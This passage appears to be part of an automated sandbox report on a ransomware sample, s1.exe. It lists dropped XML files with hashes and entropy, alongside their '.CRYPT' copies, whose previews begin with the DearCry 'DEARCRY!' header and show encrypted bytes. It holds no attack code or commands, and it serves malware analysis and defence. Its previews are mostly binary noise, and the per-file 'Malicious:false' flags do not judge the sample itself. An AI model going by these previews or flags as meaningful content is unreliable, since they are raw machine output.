                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3832
                                                              Entropy (8bit):7.95388938812159
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DB65620F1920454832587C535A1B612E
                                                              SHA1:E1F7B9D9A7B52FA93DA3A3657AAB5401DE6911D8
                                                              SHA-256:1E4A75085C21245977F6DBE812E1CA56291824566AF9987A7D8368B135496459
                                                              SHA-512:35B7769EBFFE47B972C48A73CDEE9E04804992CD430F93807E6BB8EFA216E6DA77231F5732BA3A0233BC6E91A7787CCEC6CB56ADC2C107611CD57EA1A40F8BBD
                                                              Malicious:false
                                                              Preview: DEARCRY!.......;&.....v1....w..v...V.P.,.0lU.....o.....J..S.s.,u....-J...|EG..2b..,.c.._.P.{.Cg;...4.ns....)..[....q...Q.9.....Y...... 2z;..0$..yYF.n/....Q..t.../R.l....;.$..Z*wS&Scv..BT...V.B../C...CZ....Pt':w.f...L.R.,..$.Zf..|..0.}.v..G.?.....B..V..V.............E.I....xO4....W.Q....U.Y2...JB.B.Bgd...a.^z......cj....x......h.qCCNE.Pn;......Z].U.".....(.2$.........u4...=. .09.McGkX..M...$..x.>e.Y..l..%`..f...s1.Nrk.7.....xW.......n.,9(p.......0"\...1...v.....q..MC.....\...6[.E....:52=.......DHI..4|@..Y{.......+...*.:..X.7.d]..^..[...)...{...# .UK.m....%.`.2.{@......Tw9.x.9.9tv...]7...9.A...%\..6...2u-.?.V.e{..!^...#k{.:N}....D..|.).....W...e.3-'..)X..H....+.X.U/....wq.J6..N.....UU. 1.-......P...9.S._..r.}@.-.=v..J(Q...v~...K.x.E,..)B)...b..}%.g-....qm.n....r,.....q.o...S.o......y.z...8.].......z=...D......S..eFZ..Nw...\W..k.=D,|.X5../....H.y..~.....3_.P...(4.%#}.;..e..M...n.... ......|[..j=;..|.;.$.Y.:....w.@.......S..{9..;+.H...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2625
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EA1650A91BC9D576FCC20C103EEF40FD
                                                              SHA1:1C96CAB7BE8CCE0EA9608EC18F113C8FC3709E94
                                                              SHA-256:C535CFBAD39AA1E282E3D7A4653E40ED45FACBB692B9217A178C568E37374EF5
                                                              SHA-512:79A77177D8C8ACA59098C7797BF2BE5C8256DD37ADA64C8A6AD03DE1A486BF95C38A31FB591F4588D69A6025AB22C96E0365140CEAE38F3D8E30CE297AF59E73
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.934988507954666
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7355D9F480A364E01ABC6EF76E77C2DA
                                                              SHA1:8A87B8611E7B80972968D149C38F24A0AB46F09A
                                                              SHA-256:DE3CBEB20191B1203BD5C0B7B578AFFC8A2AC1C3D5EE2B6728856797400CC827
                                                              SHA-512:827E80C4AD62AF450B438C35BA48BB71A329896FF3A6AB523D9C6BB4816A7CB2AD56BEBA4E167C05C8D22E1B3F678B6E2EA90060591AAC76FB0C85D32897E289
                                                              Malicious:false
                                                              Preview: DEARCRY!....r..........."09.h..^P.<U.).0H....B0.2UN......#Z.x....,/tHp..*..0..=....6T....:........aNp#.p..b;.{.(..{.............U.Z*&._..k.Q^.`=.lX...?!...k3F.5{{...z...~..O..v).o}...H...e.......hf6.7#^.i.Ct.&9._.h....N.jRYa.[P.....m....U."..\.z.;....?B..8....A.........(m.v:_...<.-B....p.a.'.m..$Uh.0K..J.....d....g..F1....R..c..j..w>...iD<..\N=......"....$\... .,.l.x..h..K$$..W.#.iw8%.H..e...l.W~f..0+Q........v..+...5W..z....E..+.C.t.....z1cCn..<1.......,.....nk.n.n...L....n...{..2..#@.t..-. ....=._.....kqQ.cwdO....`.pzLs.....O.PGE$.....r...(h......[....H....Y.e......G...y.8t...[.t.>*....O.yf6y*H.UP..%.n....zLi.....s...UD..+.E.Rh.()...Fe..}..;..&.*WH0*..P.l..q..mq.c.R?......Z.N~.X.....c.......e.!.nc.YQ...P.......IT}$(;..>.#..].2y.M...w.?....>.0l.....B.cz......%P.."...+.R.r......h..S.tD.......O..e<.._.u@..o. -.....xb...8.~.,3.!.~...n.O3U....."....lm&....8..........>m.=.......{...)..6.9.......O./#-.g..$o..C\S.0.!......C...x...^...:....%m....3)50.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2658
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49FB3FBD92F211EE92DBDF47AAB2C2B2
                                                              SHA1:8A01EC7649D8823F3B5669956EE1177DF8F4F8C8
                                                              SHA-256:B45B540C10E7BA2D6B69223269F8ACAA8A1887B26DF6C8EF223CDD321230424E
                                                              SHA-512:1F1F7592758E4D2CB3B433E2C115FBF48CB47C6E2759FBA3A3CFDAC057527FFEAA15A44FBE2A569F9B83907D903DE86427FA266BE12A6361122B320E3D82C34D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.944406565656415
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8E367C960E07DDF4736A5F6F891C92AD
                                                              SHA1:28876305683CFF1AAA854EDF2555E6F7B42C045B
                                                              SHA-256:2713A2027B1EB74CBBA139C829BD9BA0B9EFBBDA91F0935743BC800AA319574D
                                                              SHA-512:7F17E33877A02E1C2F92726B0BE470F4DA0950A22199D0FB339105271524CAB4A8696ED88995362ABE9A9B590A63EADE48B4BB17C4DDB3565BB5F13048CFA8B4
                                                              Malicious:false
                                                              Preview: DEARCRY!....L...P.9R.....z|2D.u.N...s...B...Ri.*...K.5[..5a.....I3.D&.%....i...s.@>Z..-...2.o.=\..L....+...........-...h..~X..5.?......N.Kh{....z.....~.{v....v.....dv........"Q.e....CP..c;rR.(.....2....m...}u...}.gj..=..Y...K.W....I....,..>.. ..k....3X.*....b.......,..$#.I.......l......>.f*...>r...5?....D.E..R./.a.....v.c....w.....F|. =.....G.Rv.|....p(.b6...b.</M..GX...}....yl......J.......1U........Mq._..'j#E1....._...7 @....&O..F.F.)...5...]..'..-.E.)..}..).S.GP5.<.y..,.b^.]v...H/%...ubYs......%...t.;.G#<(...v.,T5."Y....._ey..S.sD..*)..a.R..e....m..r2.q.......?.........L.P.Z....K.N...3.;e...u:m.s9...R.y!a......h..b. .w...".\.......J. '..O...A.l..]..CP:yz5.(2]O..O.....M(Uw.HtO...i....4.l*W.r~v..UR...0F..}.w..G....q....B.i.Z.I....\.....*\.~.....h....$...;...g\++...b+...q..M....) ..K..z.Q..T..+.....P..u....w...=.c.8...X.}k...J.m_.._e...nCU........1N.......rl..aU..M..2b....!.........#U..M*<|v+,U..`}C.,y.3.-w.0...t.#....k...V
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2669
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E23188EF9CB1A057C46A5F8A2FAB5F18
                                                              SHA1:93DD530653B9583647928B76170500F97034F6A3
                                                              SHA-256:EA2FB239FB27C20EDC87F3F574AA2F1C12D24D5593569712C12168DE04853FCB
                                                              SHA-512:F830C2C85078278B3F99D829587CE891BD8E9B7E472F043AD6926E0C068DCBA833186F8CD718EEB07CD0198A29A69000CB3D1F13A23B48F36E198AF926FA49B8
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.924332118032372
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78D7B38507FBB235FC23CC1C4FB2BF16
                                                              SHA1:965794702171B4BF4FC49209D67F591EB920DA4A
                                                              SHA-256:69C7B3B50133731F291890AD85DA364C28028C91BBA0011F90A272E8B7351933
                                                              SHA-512:A271232AAEA40F521494F102F4C3A43F30EFFB24F1CFA719AC88B9E537C5CFE0548AA126FDCF02D62BC84C2220D5D21096648A155BFC2101907CB4FA9EDA49B0
                                                              Malicious:false
                                                              Preview: DEARCRY!....mS..Z9.{X...{.S....{..KA...p#G_8.N......8......_}..:.r.4..........h....bm...p/.=..oo../.Z.?...h.ca.Lp.B...6.b............o.A..Di.s.....@..E.J.h.o.Qm....4x.M..........r.r{......&Y.......L.A..ACo.Ad.$..(...\..>. m[.!....(H.<..SR'_....V......Z.......m.......&7;....o......2y...~..h..Ei.....c...i..{...SAC[....9yC.za.../..Pc....L..<G8C.-. ...E.......XM...3].....o..W$...%....M..f..\]..}..Y..2.3....\)l............j..?.]...^.(.6.hm.|O.bx0..t:.yG.....U..7..6ib..X..(xrFs...2..^!....{.+d.H......$..4.}..>...[R_......E:.N.._;.k..W.:+.....W.}....D_...-...U..........{=0......N..W.w..=h3.6.?90..@f...B/..+<.+.y.....t...D.{6Y6`.t......DF..H...GE.a.m..U....&A[....5..^...L.-@v...<8..gO..P... D..S6.......?P.A|...n......Fo..O.A/...X-.^F.z.a......r&..._..#.C.....oT...?.....|o=.....Lv9.<O..B....8.h..-.t...{.P../...........j.7w....(M!.uL......@.1...n\.$.>...Hd.W..Mi......h.%.......H3...^k......>%.!..e%C'4.Om-.7..l.AP.*,.b...E...d...'/..x...[.C+.Q..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3218
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:76008AECC3DEC147D9F8BEAE33BD4A52
                                                              SHA1:87D84047FDF43AD35CD3A403053853F3DC918753
                                                              SHA-256:9DDA14EBE5AC2AFD28CA3FE8EC1F383A8AA0E58ACB6AC46C2DF1B2B974484735
                                                              SHA-512:8D723FA73CEA7C5379A2A6DA4C74558A96C1BBF9BFFFCC36093B03E152AA3F287D9EB1694F12C975EC081F5941E04D8EE83901BD4D39DE6098E61AC70A1F1082
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.952687800192486
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E4F6DCB3CA006A576CA2B0D495BCBE1E
                                                              SHA1:EAC28B888DD6C918DCB44FF40A98914B552547BE
                                                              SHA-256:BE3D777E285B6C5D719CC5B654D2F2F7CD6202B99B85CDCF3A43FD2B1355D5AF
                                                              SHA-512:E1DA5164DB8220AEA91FBC39FC01F85A515BF6AFAC13F3FBF3F899440418CA275204135492895F8F1556E4D22F4BD1F9C3DBD3DA3A1421836E1E7461A855591E
                                                              Malicious:false
                                                              Preview: DEARCRY!....?#]b....ud..... .2./N..F......;.....,..wYc,'d.A..k.p..!...s...4!.3.8.4P. H'.D.u@.>d....$..(..?..s)..T....H.....J\.R....../.....E.D..3$l$.w.j.gc......}...J\..h...QZ>.&!.&.>...~.BZ|.q.5%.._G.......d..+.'.BU..*.=..[...G^5.%..)\.,.<...@.+....>.P..)..............N...y.f...CoS............p....#.Ci.]..Uw........m.......<../..5o."8..Lf4..1...7...]....{.H.9..PU...A0!.....<..5'..c.,iIb0..............xLD...{.W2u..6W...0....&"..ZR?#.6....!E>.9.(...M..p?........&R. ......].....s.Ov.%...f...QOvk.........>-.'.>*[.Q;. Nf.....'..\.C.9.._["8X......|s...{*vkia.2X.._.............{i..r..!..}Q+..@5yW........xp`..?..J5.[..m..D.qDG......1=NFv..p#G..7H]..S.E.r{y=&X.+.KfE.%.#V.....+.?...?..x....UasC...U....V...+:..k..=3....:...:..&....u.R.`.|....5e......c...+...lh.1#...x.?`_~=.$.....%.]v...1b2|..O..7..|....D.m......w..&....B.).=..A!j.+:..m..R..g.........]M......y.....A.....U....L#....o...........~n78..\.w...HO....1....(.R...:|.{.%r..|...?...L.1<...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ca947da2-7e9a-7249-8095-bceb379c6f74.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3229
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03C84B4EE154C44207E67A23B6B6A76D
                                                              SHA1:4336E38D0B06B0DAC721AC167DBEB8E3DC863E84
                                                              SHA-256:430D7FB1DD9695164BDFD5467252370295AF0C08983A650C92133B12ABBEA852
                                                              SHA-512:1BF7C801784002AEA0F25F053A8584B556B89EE3702782F3963996818DEE53F2910A3ABD8FE5CF6DBBC58ACCE45BC347057B561DDF7452F1010CE9F70A5E862D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ca947da2-7e9a-7249-8095-bceb379c6f74.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.937005916861643
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:18FC4A42F375FF17017E3208D2321126
                                                              SHA1:4B71C1A81BA7E8EFF51A74A9953F692F24B21DEB
                                                              SHA-256:73B1C778BBCAEE0A628CB27DE7D1EC818E998D6CB134ADF05F5B0405203DCE05
                                                              SHA-512:EB22B1D3790FCDF230324E04FD9FA3024871FE5D459B01C38ECB175F26F153F04B4D140B699E9D31088250757D4FCBF264A132B1B27E30096318F0D854174365
                                                              Malicious:false
                                                              Preview: DEARCRY!........%..zevr.C.-[.h./5....G4......./...'......P.%....#,..\..Yl&.f...`^..jr.-t..W.!...eP..S. ..s.,5..........Xk.l......._o.A.}.1...ty(......{.b.Z.......Mib;;.R......I..b.6.Z.q.....k.w.....&%l~..v..#..*.FVbA'$...b?.y.ko..3..{..o.^.).Z..g.S..p.._.............J.R..zD.....,..#T.....!....c....NK...|.6...C..1...X..L9....40w......6.}o.4. .....X0.U..ga.I....eS!pI~5#..E.b.....J.#.o.._....K...m4.....~.#...Y}R..q..9I!....~~.#.I+..{.%...cLey...c^-....]...+...U.L.'.".kl./.....R...F.l8.!....3.u..9t.)..R..l.~.3..7,R.;..@wO.......d..?..J.....xn....vX...Y'X.._V...RrHV-...].m..t3....w=` o.5#.......*..7x7#.:...c%.._.]...<..V.h6c.ia..?Y8......c.M77+.^..<....K...GIUW^^S.Y#.3.Nbg.*@*.......0..k..!X.0}N...>2D..L&...@...J.5..O8..?b.,.....$.w..f.;.....O....CJ...6D..,.>.w.PHw....%.*R<ZN.,.<...w....{._y..#"0../..6x.p#,...[.X..Pv...=....rK..3.T;..?eCB....h.p./.Q....{Fp..O..eB.0...;.....W...+............t[..P-..SO.k$x...D...*..x..%.a...Y......$J..,.....g.FN.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3229
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03C84B4EE154C44207E67A23B6B6A76D
                                                              SHA1:4336E38D0B06B0DAC721AC167DBEB8E3DC863E84
                                                              SHA-256:430D7FB1DD9695164BDFD5467252370295AF0C08983A650C92133B12ABBEA852
                                                              SHA-512:1BF7C801784002AEA0F25F053A8584B556B89EE3702782F3963996818DEE53F2910A3ABD8FE5CF6DBBC58ACCE45BC347057B561DDF7452F1010CE9F70A5E862D
                                                              Malicious:false
